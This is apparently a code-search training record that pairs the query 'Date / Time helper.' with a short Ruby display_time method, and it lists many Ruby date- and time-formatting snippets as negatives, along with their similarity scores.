[ "0.72142464", "0.720461", "0.70156986", "0.6997656", "0.69651043", "0.68389076", "0.6830885", "0.6448301", "0.62301654", "0.61429715", "0.6089511", "0.60467744", "0.59703636", "0.5967247", "0.5857007", "0.5852681", "0.5852681", "0.584519", "0.5812232", "0.5747315", "0.5736524", "0.56982774", "0.5696394", "0.5689948", "0.56632745", "0.56632745", "0.56292576", "0.56211907", "0.56148225", "0.5598825", "0.551784", "0.54834956", "0.54735124", "0.5466487", "0.54587334", "0.54524136", "0.54269284", "0.54201996", "0.5415446", "0.5375644", "0.5375644", "0.5372929", "0.5368102", "0.53333837", "0.5332173", "0.5325655", "0.5313098", "0.53073764", "0.52981806", "0.5277099", "0.52758217", "0.52758217", "0.52758217", "0.52035725", "0.5194341", "0.5192097", "0.51887095", "0.5188112", "0.5187199", "0.517801", "0.5176372", "0.5176372", "0.5170668", "0.514065", "0.5140508", "0.5139608", "0.5134038", "0.5122834", "0.5109823", "0.510123", "0.5094462", "0.50854313", "0.5080144", "0.5080041", "0.50748926", "0.50748134", "0.50729465", "0.5072198", "0.50483567", "0.50286067", "0.50133836", "0.50104696", "0.50093454", "0.5008937", "0.5008498", "0.5008498", "0.50056845", "0.50045073", "0.5001334", "0.49961597", "0.49916252", "0.49914205", "0.4990763", "0.49899575", "0.49846378", "0.4981962", "0.49810082", "0.49782878", "0.49782878", "0.49648118" ]
0.579116
19
Date / Time helper.
def display_time(timestamp) return nil if timestamp.blank? timestamp.to_s(:date_time_long) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_date()\n @time\n end", "def date_and_time(options = {})\n @time.is_a?(Time) ? \"#{date(options)} at #{time(options)}\" : date(options = {})\n end", "def date\n Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\nend", "def time_date_hm ; time_date && time_date.strftime(\"%H:%M\") ; end", "def my_date\n Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\nend", "def my_date\n Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\nend", "def get_time\n Time.new.strftime(\"%Y-%m-%d %H:%M:%S\")\n end", "def date_time()\n\t\t@data.inspect\n\t\tif !@data.key?(:time) || @data[:time].empty? || !@data.key?(:date) || @data[:date].empty?\n\t\t\treturn nil\n\t\tend\n\n\t\ttime = @data[:time]\n\t\tdate = @data[:date]\n\t\ttime.gsub!(/\\.[0-9]*$/, \"\") # remove decimals\n\t\tdatetime = \"#{date} #{time} UTC\"\n\n\t\tdate = DateTime.strptime(datetime, \"%d%m%y %H%M%S %Z\")\n\t\tdate\n\tend", "def datetime\n return DateTime.now.strftime(\"%Y-%m-%d %H:%M\")\nend", "def datetime\n return DateTime.now.strftime(\"%Y-%m-%d %H:%M\")\nend", "def Current_Date_Time()\n $time_date = Time.now\n $current_time = $time_date.strftime(\"%I:%M:%S\")\n $current_date = $time_date.strftime(\"%m/%d/%Y\")\nend", "def date_and_time_for_tag(time_class = (Time.respond_to?(:zone) ? Time.zone : Time))\n time = time_class.now\n time.strftime \"%Y#{MONTHS[time.month - 1]}%d-%H%M\"\n end", "def FormatTimesDates\n\ttime = Time.new\n\tputs time.to_s\n\tputs time.ctime\n\tputs time.localtime\n\tputs time.strftime(\"%Y-%m-%d %H:%M:%S\")\n\tputs time.strftime(\"%d/%m/%Y\")\nend", "def easy_date; date; end", "def date_field_with_time(actual_date, object_name, method, options={})\n actual_date = Time.now if actual_date == nil\n if actual_date != nil\n hash = separate_date_time(actual_date)\n date_part = date_field(object_name, method+'_date', :size => 15, :value => hash[:date])\n time_part = text_field object_name, method+'_time', :size => 4,:value => hash[:time]\n else\n date_part= \"* SHOULD BE DATE STUFF HERE * \"\n time_part= \"* SHOULD BE TIME STUFF HERE * \"\n end\n return date_part+'&nbsp;' + time_part\n end", "def build_time\n time = Time.now\n \"#{time.month}-#{time.day}-#{time.year}\"\n end", "def time\n Time.now.strftime(\"%m/%d/%Y %H:%M:%S\")\n end", "def time( time = birth )\n # Check to be sure time is a valid Time object\n raise RuntimeError, 'Invalid Time' unless time.instance_of? Time\n\n show_day = time.strftime( '%a' )\n show_time = '2000' # Defaults to 8PM\n\n # Friday is a 9:00 PM show\n show_time = '2100' if time.wday == 5\n\n # Saturday after 10 PM file creation is 10:30 PM show\n if ( time.wday == 6 && time.hour >= 22 ) || ( time.wday == 0 && time.hour <= 2 )\n show_day = 'Sat'\n show_time = '2230'\n end\n\n # Return the day-time string\n show_day + '-' + show_time\n end", "def my_date ( time )\n\t\treturn if time.nil?\n\t\t#past_day = -2.day.from_now\n\t\tif time > -2.day.from_now\n\t\t\treturn time_ago_in_words(time)\n\t\telse\n\t\t\treturn time.strftime(\"%b %d %Y\")\n\t\tend\n\tend", "def livia_date_time(d)\n unless d.nil?\n d.to_time.strftime(\"%m/%d/%Y %H:%M\")\n else\n ''\n end\n end", "def get_date\n format_date DateTime.new(2011, 1, 1, 17, 9, 59)\n end", "def format_date_and_time(date)\n date.day == Time.zone.now.day ? date.to_s(:time) : date_and_time_formatter(date)\n end", "def time\n if created_at.try(:to_date) == Date.today\n created_at.strftime('%H:%M%P')\n else\n created_at.try(:strftime, '%d-%m-%Y')\n\n end\n end", "def current_date\n date = Time.now.strftime(\"%d/%m/%Y %H:%M\")\n puts \"Current date and Time: \" \"#{date}\"\nend", "def time\n if created_at.to_date == Date.today\n created_at.strftime('%I:%M %P')\n else\n created_at.strftime('%d-%m-%Y')\n end\n end", "def time\n Time.now.strftime(\"%Y/%m/%d %H:%M:%S\")\n end", "def date; end", "def date; end", "def date; end", "def date; end", "def time_day; Time.now.day; end", "def time\n Time.parse(@data['date'])\n end", "def httpdate\n return \"#{self.day_name[0, 3]}, #{@t_day} #{self.month_name[0, 3]} #{@t_year} #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec} GMT\"\n end", "def date\n @date ||= Time.new\n end", "def get_time_placed\n self.created_at.strftime(\"%m/%d/%Y at %l:%M%p\")\n end", "def time\n DateTime.now.strftime(TIME_FORMAT)\n end", "def display_time_for_appointment\n date.strftime(\"%I:%M:%S %p, %B #{date.day.ordinalize}, %Y\")\n end", "def show_in_strftime\n @date.strftime(\"%d/%m/%Y -- %H:%M\")\n end", "def date_time\n created_at.strftime('%-m/%-d/%Y %-I:%M %P')\n end", "def get_current_date\n time = Time.now.to_s\n time = DateTime.parse( time ).strftime( \"%d/%m/%Y %H:%M\" )\n end", "def date_format tim\n # tim.strftime '%Y/%m/%d %H:%M:%S'\n tim.strftime '%Y/%m/%d %H:%M'\nend", "def detail_date( date )\n date.strftime( '%H:%M - %b %d, %Y')\n end", "def show_time\n\n end", "def get_time\n @time = Time.now.strftime(\"%H:%M:%S \")\n render \"store/date\"\n #render partial: \"store/date\"\n end", "def date( datetime = birth )\n # Check to be sure time is a valid Time object\n raise RuntimeError, 'Invalid Date' unless datetime.instance_of? Time\n\n if datetime.wday == 0 && datetime.hour <= 2\n self.date( datetime - 3600 ) # Call recursively - 1 hour\n else\n datetime.strftime( '%Y-%b-%d' )\n end\n end", "def to_time()\n #This is a stub, used for indexing\n end", "def time_of_day(time)\n hour = (time % (24 * 60)) / 60\n minute = time % 60\n \n format('%02d:%02d',hour,minute)\nend", "def dmy_date(date)\n Time.gm(date.year, date.month, date.day)\n end", "def asctime\n end", "def moment_date( time )\n\t\ttime = time .to_time\n\t\t\"#{ time .year }.#{ time .month }.#{ time .day }\"\n\tend", "def date\n Time.now\n end", "def date\n\t\treturn Time.at( @date[0] )\n\tend", "def date_for(date)\n content_tag :time do\n date.strftime(\"%e %b\")\n end\n end", "def format_date_time( dt )\n dt.strftime( \"%B %e, %Y %I:%M%p\" )\nend", "def display_datetime(time)\n time.strftime('%e %B, %l:%M%p')\n end", "def asctime() end", "def time_tag(date_or_time, *args, &block); end", "def current_date()\r\n return Time.new.strftime(\"%Y-%m-%d\")\r\n end", "def dateshort( time )\n time.strftime('%Y-%m-%d') if time\n end", "def date\n now.to_date\n end", "def datum\nt = Time.now\ndate = t.strftime(\"%y%m%d\")\nend", "def time\n return Time.new(@t_year, @t_month, @t_day, @t_hour, @t_min, @t_sec)\n end", "def make_date(time_object)\n month = time_object.strftime(\"%b \")\n day = time_object.strftime(\"%-d\")\n year = time_object.strftime(\", %Y \")\n mins = time_object.strftime(\":%M %P\")\n hour = time_object.strftime(\"%l\").to_i\n return month + day + year + hour.to_s + mins\n end", "def get_date()\n @date\n end", "def get_date()\n @date\n end", "def time\n\t\tI18n.l(moment, format: :time_only)\n\tend", "def test_date_time_formatting\n\t\tskip\n\t\tobject = DateTimeStruct.new(DateTime.new(2010, 10, 5))\n\t\tpresenter = Claudia::Presenter.new object\n\t\tputs presenter.start_date\n\t\tputs presenter.start_time\n\tend", "def nicetime(date)\n date.strftime(\"%b %d, %Y &ndash; %H:%M\")\n end", "def get_time\n created_at.strftime('%H:%M:%S %d %B %Y')\n end", "def start_time\n self.date\n end", "def date\n time_table_date || @date\n end", "def create_date(post)\n \" created at: \" + post.created_at.strftime(\"%d %b. %Y\") + \" - \" + post.created_at.strftime(\"%H:%M\") \n end", "def makeDate date, time\n arrDate = date.split(\"-\")\n arrTime = time.tr('A-Za-z ', '').split(\":\")\n\n #checks if the time is in PM. If yes add 12 hours to it. Special case is when its 12 AM. Need to minus 12 hours.\n if (params[:time].include? \"A\") && arrTime[0] == \"12\"\n arrTime[0] = 0\n elsif (params[:time].include? \"P\") && arrTime[0] != \"12\"\n arrTime[0] = arrTime[0].to_i + 12\n end\n\n return Time.new(arrDate[2], arrDate[1], arrDate[0], arrTime[0], arrTime[1])\n end", "def time_class\n puts \"BEGIN: #{__method__}\"\n # There are two time classes:\n # time in the core library\n # time in the standard library\n # require 'time' loads the standard library version which adds useful methods\n # such as parse and strptime\n require 'time'\n\n # Time.new is synonymous with Time.now\n now = Time.now\n\n puts \"Current time=#{now.strftime('%Y-%m-%d %H:%M:%S %Z')}\"\n puts \"year=#{now.year}\"\n puts \"month=#{now.month}\"\n puts \"day=#{now.day}\"\n puts \"wday=#{now.wday}\"\n puts \"day of year=#{now.yday}\"\n puts \"hour=#{now.hour}\"\n puts \"min=#{now.min}\"\n puts \"second=#{now.sec}\"\n puts \"microsecond=#{now.usec}\"\n puts \"timezone=#{now.zone}\"\n puts \"utc offset in seconds=#{now.utc_offset}\"\n\n # Create a time object for 2013-04-07 15:07:35.600\n # Arguments that can be passed:\n # (year, month, day, hour, min, sec, usec_with_frac)\n # Notice how month can be the short name or number\n puts \"Time.utc=#{Time.utc(2013,\"apr\",07,15,07,35,600)}\"\n puts \"Time.local=#{Time.local(2013,04,07,15,07,35,600)}\"\n # Time.new does not support microseconds\n # (year, month, day, hour, min, sec, UTC offset)\n puts \"Time.new=#{Time.new(2013,04,07,15,07,35,'-08:00')}\"\n puts \"Time.at(epoch time)=#{Time.at(1365365255)}\"\n puts \"Time.strptime=#{Time.strptime('2013-04-07 15:07:35.600', '%Y-%m-%d %H:%M:%S.%L')}\"\n puts \"Note how strptime will output to local time by default:\"\n puts \"Time.strptime for 'Apr 7 15:07:35 2013 GMT'=\" \\\n \"#{Time.strptime('Apr 7 15:07:35 2013 GMT', '%b %d %H:%M:%S %Y %Z')}\"\n\n puts \"Current Epoch time=#{now.to_i}\"\n puts \"Current Epoch time with microseconds=#{now.to_f}\"\n\n puts \"10 days from now=#{now + (60 * 60 * 24 * 10)}\"\n puts \"10 days before now=#{now - (60 * 60 * 24 * 10)}\"\n\n puts \"END: #{__method__}\"\nend", "def timeRecordsForDate(brick, date)\n end", "def convert_from_date_to_time(x)\n if x.class == Date\n x.to_time + 12.hours\n elsif x.class == DateTime || x.class == Time\n x\n end\nend", "def httpdate\n Time.now.httpdate\n end", "def add_time\n if (date.hour == 0 or date.hour == 12) and date.min == 0 and date.sec == 0\n self.date = date + id \n end\n end", "def current_date\n\t# Time.now is a synonym:\n\tcurrent_time = Time.now\n\tputs \"Current Time : \" + current_time.inspect\nend", "def clock_in_time\n \tself.created_at.strftime(\"%H:%M %p\")\n end", "def livia_date(d)\n unless d.nil?\n d.to_time.strftime(\"%m/%d/%Y\") # %H:%M\") no need to show time as it comes 00:00 always. Mandeep\n else\n '-'\n end\n end", "def day_and_time(mins)\n (Time.new(2016, 04, 10) + mins*60).strftime(\"%A %H:%M\")\nend", "def today_time(time_s)\n time_hash = Date._strptime(time_s, '%H:%M')\n Date.today.strftime('%Y-%m-%dT') +\n DateTime.new(1, 1, 1, time_hash[:hour], time_hash[:min], 0).\n strftime('%H:%M:%S') + PloggyConfigHelper::project_timezone\nend", "def start_time\n begin_date\n end", "def fmt_time(dt) _format_dt dt, H12_M_PM end", "def date\n Time.now.in_time_zone\n end", "def time\n case method\n when :get\n ok(Time.now.to_s)\n when :post\n ok(Time.now.strftime(post[:format] || \"%Y-%m-%dT%H:%M%:%S%Z\"))\n else\n raise NotImplemented.new\n end\n end", "def date\n request Net::NNTP::Date.new\n end", "def system_datetime\r\n request(HTTPMethods::GET, PATH_SYSTEMDATETIME)\r\n end", "def date\n # self.start_time.in_time_zone(self.school.timezone).strftime('%A - %-m/%d/%y')\n \"#{self.start_time.in_time_zone(self.school.timezone).strftime('%A')}</br>#{self.start_time.in_time_zone(self.school.timezone).strftime('%-m/%d/%y')}\".html_safe()\n end", "def http_date\n tp = Time.now.gmtime.to_s.split\n \"#{tp[0]}, #{tp[2]} #{tp[1]} #{tp[5]} #{tp[3]} GMT\"\n end", "def date\n \"#{self[:day]}_#{self[:month]}_#{self[:year]}\"\n end", "def date_field_with_time_allowing_blank(date, object_name, method, options={})\n hash = { :date => '', :time => '' } \n \n\thash = separate_date_time(date) if date != nil\n\t\n date_part = date_field(object_name, method+'_date', :size => 15, :value => hash[:date])\n time_part = text_field object_name, method+'_time', :size => 4, :value => hash[:time]\n \n return date_part+'&nbsp;' + time_part\n end", "def time_display(datetime)\n datetime.strftime(\"%m/%d/%Y, %l:%M %p\")\n end", "def set_for_time timestamp\n return nil unless @date\n case timestamp[0,2]\n when \"00\"\n @datetime.hour == 23 ? @date_add_1_hr : @date\n when \"23\"\n @datetime.hour == 00 ? @date_1_hr_ago : @date\n else\n @date\n end\n end", "def time_class; end", "def pickup_date_print(request)\n request.pickup_time.strftime(\"%A %d-%m-%Y %H:%M\")\n end", "def localtime() end", "def awesome_active_support_time(object)\n awesome_self(object, :as => :time)\n end", "def date_time\n @message[:date_time]\n end", "def friendly_time\n\t\t@event_info.each do |event_hash|\n\t\t\tdatetime = event_hash[\"datetime\"].strftime(\"%A, %d %b %Y %l:%M %p\")\t\n\t\tend\n\tend" ]
[ "0.72658706", "0.7052581", "0.7037743", "0.6997325", "0.6992995", "0.6985463", "0.6932825", "0.693001", "0.6900612", "0.6900612", "0.677878", "0.6778727", "0.6770018", "0.6682366", "0.66756177", "0.665279", "0.664885", "0.6639189", "0.6625472", "0.65879464", "0.65701634", "0.65641946", "0.6542481", "0.65411806", "0.6531521", "0.6516899", "0.6516794", "0.6516794", "0.6516794", "0.6516794", "0.64986426", "0.6495664", "0.6482132", "0.64814067", "0.6478344", "0.6477762", "0.6476941", "0.64668226", "0.6463303", "0.6444634", "0.64363563", "0.64298826", "0.64229244", "0.64000773", "0.6399378", "0.6397433", "0.63785446", "0.63759583", "0.63749", "0.6372183", "0.63684607", "0.63608205", "0.6360211", "0.63546324", "0.63442343", "0.6341563", "0.633499", "0.632359", "0.632117", "0.6311329", "0.6311232", "0.6308382", "0.6294088", "0.6290957", "0.6290957", "0.62824225", "0.628077", "0.6269174", "0.6263894", "0.6251536", "0.6246115", "0.6234266", "0.623362", "0.6230871", "0.62289286", "0.6222378", "0.621385", "0.62086433", "0.6201398", "0.61965173", "0.61900663", "0.6186209", "0.61851615", "0.61847335", "0.61785585", "0.61735404", "0.6170754", "0.6169981", "0.6154005", "0.61496514", "0.61483765", "0.614776", "0.6145128", "0.61450356", "0.6139197", "0.612129", "0.6121073", "0.6109836", "0.61028874", "0.6094809", "0.6092899" ]
0.0
-1
Start and end date helper.
def format_start_end_date(s_date, e_date) # Format the dates based on month and year. if (s_date.mon == e_date.mon) && (s_date.year == e_date.year) date = s_date.strftime("%b %d-").to_s + e_date.strftime("%d, %Y").to_s elsif s_date.year == e_date.year date = s_date.strftime("%b %d - ").to_s + e_date.strftime("%b %d, %Y").to_s else date = s_date.strftime("%b %d, %Y - ").to_s + e_date.strftime("%b %d, %Y").to_s end date end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dates\n start_s = start_date ? start_date.to_s : '?'\n end_s = end_date ? end_date.to_s : '?'\n \"#{start_s} to #{end_s}\"\n end", "def event_start_end_dates\n esdate and eedate\n end", "def start_date\n date\n end", "def determine_date\n if !params[:date_start].blank? && !params[:date_end].blank?\n @date_start = params[:date_start]\n @date_end = params[:date_end]\n else\n determine_date_now\n end\n end", "def enrollment_dates\n if start_date\n \"#{start_date_formatted} - #{end_date_formatted}\"\n end\n end", "def get_end_date\n \n \nend", "def start_date\n return start\n end", "def aoc_dates\n \"#{start_date.strftime('%d de %b')} al #{end_date.strftime('%d de %b')} de #{end_date.strftime('%Y')}\"\n end", "def range\n (start_date...end_date) #exclusive date range\n end", "def period_helper\n \"#{@sprint_start_date } - #{@sprint_end_date}\"\n end", "def booked_date_range\n { from: :start_date, to: :end_date }\n end", "def get_end_date\n end_date\n end", "def format_event_date(start_date, end_date)\n d1 = Date.parse(start_date) rescue nil\n d2 = Date.parse(end_date) rescue nil\n (d1 && d2) ? (d1..d2) : [d1, d2].compact\n end", "def valid_start_and_end_dates?\n return false unless start.present? && self.end.present?\n start <= self.end\n end", "def to_s\n return last_day if start_date == end_date\n \n format = ELEMENTS\n format = format.chomp(' %Y') if start_date.year == end_date.year\n format = format.chomp(' %b') if start_date.month == end_date.month\n first_day = start_date.strftime(format)\n first_day + ' - ' + last_day\n end", "def dates\n end", "def to_s\n \"#{start_date_as_string}-#{end_date_as_string}\"\n end", "def set_dates(start_date = nil, end_date = nil)\n\n\t if (start_date.nil? and not end_date.nil?)\n\n\t\t start_date = (@utils.get_date_object(end_date)) - (MAX_HISTORICAL_DAYS * (24 * 60 * 60))\n\n\t\t @start_date = start_date.to_s\n\t\t @end_date = end_date.to_s\n\n\t elsif (not start_date.nil? and end_date.nil?)\n\n\t\t end_date =(@utils.get_date_object(start_date)) + (MAX_HISTORICAL_DAYS * (24 * 60 * 60))\n\n\t\t if end_date > Time.new.utc\n\t\t\tend_date = nil #Let API default to Now.\n\t\t end\n\n\t\t @start_date = start_date.to_s\n\t\t @end_date = end_date.to_s if not end_date.nil?\n\n\t end\n end", "def date_range\n @date_range ||= start_at..end_at\n end", "def start_and_end_date_range\n unless self.start_datetime.nil? || self.end_datetime.nil?\n oldest_start_datetime = self.active_sale_events.not_blank_and_sorted_by(:start_datetime).first\n latest_end_datetime = self.active_sale_events.not_blank_and_sorted_by(:end_datetime).last\n errors.add(:start_datetime, I18n.t('spree.active_sale.event.validation.errors.invalid_root_dates')) if (oldest_start_datetime.nil? && latest_end_datetime.nil?) ? false : (self.start_datetime > oldest_start_datetime || self.end_datetime < latest_end_datetime)\n end\n end", "def start_date\n\t\treturn Date.new(y=year, m=START_MONTH, d=START_DAY)\n\tend", "def determine_date_range\n case @time_frame\n when 'week' then (@date.beginning_of_week..@date.end_of_week)\n when 'month' then (@date.beginning_of_month..@date.end_of_month)\n end\n end", "def build_condition_for_date(start_date, end_date, start_date_string=\"created_at\", end_date_string=\"created_at\")\n\t\t\" #{start_date_string} >= '#{start_date.to_time}' and #{end_date_string} <= '#{end_date.to_time + 1.day}' \" if validate_date?(start_date,end_date)\n\tend", "def show\n @begin_date = Date.today - 5\n @end_date = Date.today + 5\n end", "def to_range\n (@start_date..@end_date)\n end", "def set_dates_and_duration\n if start_date && end_date && !duration\n self.duration = (end_date - start_date).to_i + 1 # if it's same date, duration should be 1\n elsif start_date && !end_date && duration\n self.end_date = start_date + (duration - 1).days\n elsif !start_date && end_date && duration\n self.start_date = end_date - (duration - 1).days\n end\n end", "def url_params_for_date_range\n begin\n start_date = Date.parse(params[:start])\n end_date = Date.parse(params[:end])\n rescue ArgumentError\n halt 'Invalid date format'\n end\n\n # call for validation\n if !date_valid?(start_date)\n halt \"Start date must be after #{DATA_START_DATE} and before today.\"\n elsif !date_valid?(end_date)\n halt \"End date must be after #{DATA_START_DATE} and before today.\"\n elsif !date_range_valid?(start_date, end_date)\n halt 'Invalid date range!'\n end\n return start_date, end_date\nend", "def to_range\n start_date..end_date\n end", "def set_start_end_dates\n # If the task is a schedule/appointment type then we need to set the start\n #+ and end time for it. We save them in the same fields start_date,\n #+ end_date. The start_time and end_time fields are deprecated and they \n #+ are used as place holders in form. They will be removed from table\n #+ definition.\n # Database migration and rake task is there to change field type for\n #+ start/end date. Now storing time and date in same fields.\n if self.category.eql?(\"appointment\")\n self.start_date = self.start_date_appointment unless self.start_date_appointment.blank?\n self.end_date = self.end_date_appointment unless self.end_date_appointment.blank? \n=begin\n if false && start_date && end_date\n sd = start_date.utc\n ed = end_date.utc\n st = start_time #.in_time_zone\n et = end_time \n p sd, ed, st, et\n self.start_date = DateTime.new(sd.year, sd.month, sd.day, st.hour, st.min, st.sec).utc\n self.end_date = DateTime.new(ed.year, ed.month, ed.day, et.hour, et.min, et.sec) \n p start_date\n p end_date\n end\n=end\n else\n #self.start_date = self.end_date_todo unless self.end_date_todo.blank? #self.start_date_todo unless self.start_date_todo.blank?\n self.start_date = self.start_date_todo unless self.start_date_todo.blank?\n self.end_date = self.end_date_todo unless self.end_date_todo.blank?\n end\n end", "def more_advanced_date\n @end_date || @start_date || nil\n end", "def validate_start_and_end_date\n errors.add(:start_date, I18n.t('spree.active_sale.event.validation.errors.invalid_dates')) if invalid_dates?\n end", "def booking_range\n ary = [I18n.localize(begin_date, format: DATE_AND_TIME)]\n if same_day?(begin_date, end_date)\n ary << I18n.localize(end_date, format: '%R') # example: 09:00\n else\n ary << I18n.localize(end_date, format: DATE_AND_TIME)\n end\n ary.join ' - '\n end", "def start\n\tself[:date_start].strftime(\"%d.%m.%Y\") || '-'\n end", "def start_date\n\t\tDate.new( @year, @month, 1 )\n\tend", "def end_date\n \"Calculate End Date\"\n end", "def friendly_date_range\n sessions.first.start.month == sessions.last.start.month ?\n \"#{sessions.first.start.strftime('%B %-d')}-#{sessions.last.start.strftime('%-d, %Y')}\" :\n \"#{sessions.first.start.strftime('%B %-d')} - #{sessions.last.start.strftime('%B %-d, %Y')}\"\n end", "def date_range(past_day=nil, past_month=nil, past_year=nil, future_day=nil, future_month=nil,future_year=nil)\n if (past_day != nil || past_month != nil || past_year != nil) && (future_day != nil || future_month != nil || future_year != nil)\n start_date = get_date(past_day,past_month,past_year,-1)\n end_date = get_date(future_day,future_month,future_year, 1)\n elsif past_day == nil && past_month == nil && past_year == nil && future_day == nil && future_month == nil && future_year == nil\n start_date = get_date(nil,nil,nil,0)\n end_date = get_date(nil,nil,nil,0)\n elsif (past_day == nil && past_month == nil && past_year == nil) && (future_day != nil || future_month != nil || future_year != nil)\n start_date = get_date(nil,nil,nil,0)\n end_date = get_date(future_day,future_month,future_year,1)\n elsif (past_day != nil || past_month != nil || past_year == nil) && (future_day == nil && future_month == nil && future_year == nil)\n start_date = get_date(past_day,past_month,past_year, -1)\n end_date = get_date(nil,nil,nil,0)\n else\n fail(\"Invalid Argument Passed to date range method. Please enter correct arguments\")\n end\n return start_date,end_date\nend", "def imply_dates\n return unless !@properties['end'].nil? && !@properties['start'].nil?\n\n start_date = nil\n\n @properties['start'].each do |start_val|\n if start_val =~ /^(\\d{4}-[01]\\d-[0-3]\\d)/\n start_date = Regexp.last_match(1) if start_date.nil?\n elsif start_val =~ /^(\\d{4}-[0-3]\\d\\d)/\n start_date = Regexp.last_match(1) if start_date.nil?\n end\n end\n\n unless start_date.nil?\n @properties['end'].map! do |end_val|\n if end_val.match?(/^\\d{4}-[01]\\d-[0-3]\\d/)\n end_val\n elsif end_val.match?(/^\\d{4}-[0-3]\\d\\d/)\n end_val\n else\n start_date + ' ' + end_val\n end\n end\n end\n end", "def initialize(date)\n @start = date.at_beginning_of_day\n @end = date.end_of_day\n end", "def all_dates\n return (@start_date...@end_date).to_a\n end", "def format_start_date()\n\t\tif Date.valid_date?(self.year, self.month, self.day)\n\t\t\treturn self.month.to_s + '/' + self.day.to_s\n\t\telse\n\t\t\traise \"Invalid start date specified.\"\n\t\tend\n\tend", "def start_date\n taken_at || created_at \n end", "def get_start_date\n date = Time.new\n year = date.year\n month = date.month < 10 ? \"0\" + date.month.to_s : date.month\n day = date.day < 10 ? \"0\" + date.day.to_s : date.day\n start_date = \"#{year-2}-#{month}-#{day}\"\n start_date\nend", "def report_range(start_date, end_date)\n @start_date = start_date\n @end_date = end_date\n end", "def reservation_dates_must_make_sense\n\t if end_date <= start_date\n\t\t errors.add(:start_date, \"has to be before the end date\")\n\t end\n\tend", "def setup_range(date)\n diff = date.wday - self.class.windex(start_wday)\n @first = date - (diff + ((diff < 0) ? DAYS : 0))\n @last = @first + DAYS - 1\n end", "def query_user_for_date_range\n start_date = nil\n end_date = nil\n\n puts \"\\nFirst, we need a start date.\"\n start_date = query_user_for_date\n\n puts \"\\nNext, we need an end date.\"\n end_date = query_user_for_date\n\n return start_date, end_date\nend", "def for_date_range(beginning:, ending:)\n new_with_date_range(beginning, ending)\n end", "def getStartDate\r\n\t\t\t\t\treturn startDate\r\n\t\t\t\tend", "def format_date(start_date, end_date = nil)\n dates = start_date.strftime('%D')\n dates << ' -- ' + end_date.strftime('%D') if end_date\n dates\n end", "def duration_date(start_date, end_date)\n str = ''\n\n start_date = start_date.to_time if start_date.respond_to?('to_time')\n end_date = end_date.to_time if end_date.respond_to?('to_time')\n\n if start_date.is_a?(Time) && end_date.is_a?(Time)\n\n start_date = local_time(start_date)\n end_date = local_time(end_date)\n\n if start_date.strftime('%x', 'fr') == end_date.strftime('%x', 'fr') # same day\n str += start_date.strftime('Le %A %d %B %Y', 'fr')\n if start_date.strftime('%X', 'fr') == '00:00:00' && end_date.strftime('%X', 'fr') == '23:59:59'\n # entire day - no need to display start/end times\n elsif end_date.strftime('%X', 'fr') == '23:59:59' # we only have a start time\n str += start_date.strftime(' à partir de %Hh%M', 'fr')\n elsif start_date.strftime('%X', 'fr') == '00:00:00' # we only have an end time\n str += end_date.strftime(\" jusqu'à %Hh%M\", 'fr')\n else # we have both a start and an end time\n str += start_date.strftime(' de %Hh%M', 'fr')\n str += end_date.strftime(' à %Hh%M', 'fr')\n end\n\n else # different days\n str += start_date.strftime('Du %A %d %B %Y', 'fr')\n str += start_date.strftime(' (%Hh%M)', 'fr') if start_date.strftime('%X', 'fr') != '00:00:00'\n str += end_date.strftime(' au %A %d %B %Y', 'fr')\n str += end_date.strftime(' (%Hh%M)', 'fr') if end_date.strftime('%X', 'fr') != '23:59:59'\n end\n end\n str\n end", "def start_on_before_end_on\n errors.add :start_on, 'invalid date format' if start_on.present? && !valid_date?(date: start_on)\n errors.add :end_on, 'invalid date format' if end_on.present? && !valid_date?(date: end_on)\n errors.add :start_on, 'invalid date range (Start must come before end)' if start_on.present? && end_on.present? && start_on > end_on\n end", "def date_verify\n if end_date && start_date.nil?\n errors.add(:end_date, \"cannot only specify end date\")\n elsif all_day && start_date.nil?\n errors.add(:all_day, \"cannot specify without date\")\n elsif (start_date && end_date) && (start_date > end_date)\n errors.add(:start_date, \"cannot larger than end date\")\n end\n end", "def validate_date?(start_date,end_date)\n\t\tstart_date <= end_date\n\tend", "def start_date\n @start_date = Date.strptime(date_range_to_dates.first, \"%m/%d/%Y\")\n end", "def started_at; end", "def started_at; end", "def started_at; end", "def started_at; end", "def started_at; end", "def set_start_end_dates\n if new_record?\n self.start_time ||= '12:00 PM'\n self.end_time ||= '01:00 PM'\n parse_start_end\n elsif has_attribute?(:start_at) # this if is to allow custom selects on the Event module\n self.start_date = start_at.to_s(:slashes) unless start_at.blank?\n self.start_time = start_at.to_s(:time_only).strip unless start_at.blank?\n self.end_date = end_at.to_s(:slashes) unless end_at.blank?\n self.end_time = end_at.to_s(:time_only).strip unless end_at.blank?\n end\n end", "def all_day\n beginning_of_day..end_of_day\n end", "def start_date\n Time.parse(@start_date) if @start_date\n end", "def date_range_s(format = :short)\n return date.year if all_year?\n\n if format == :long\n if start_date == end_date\n date.strftime(\"%-m/%-d/%Y\")\n else\n \"#{start_date.strftime('%-m/%-d/%Y')}-#{end_date.strftime('%-m/%-d/%Y')}\"\n end\n else\n start_date_s = \"#{start_date.month}/#{start_date.day}\"\n if start_date == end_date\n start_date_s\n elsif start_date.month == end_date.month\n \"#{start_date_s}-#{end_date.day}\"\n else\n \"#{start_date_s}-#{end_date.month}/#{end_date.day}\"\n end\n end\n end", "def validate_start_and_end_date\n self.errors.add(:event_start_date, \"should not be in past\") if self.event_start_date < Date.today\n self.errors.add(:event_end_date, \"should not be in past\") if self.event_end_date < Date.today\n self.errors.add(:event_end_date, \"start date should not be after end date\") if self.event_end_date < self.event_start_date\n self.errors.add(:event_end_time, \"end time should not be before start time\") if (self.event_end_date == self.event_start_date and self.event_end_time < self.event_start_time)\n return self\n end", "def between?(first_day, last_day)\n ((self.ends_at.to_date >= first_day) && (self.ends_at.to_date <= last_day)) || ((self.starts_at.to_date >= first_day) && (self.starts_at.to_date <= last_day))\n end", "def validate_dates\n if start_at && end_at\n errors.add(:end_at, 'should be greater than start date') if end_at <= start_at\n end\n end", "def set_date_range(begin_date, end_date)\n @begin_date = begin_date.to_date\n @end_date = end_date.to_date\n end", "def valid_end_date\n self.end_date - self.start_date > 0 ? true : false\n end", "def formatEventsDateRange(startdate, enddate)\n startdate.strftime(\"%b. 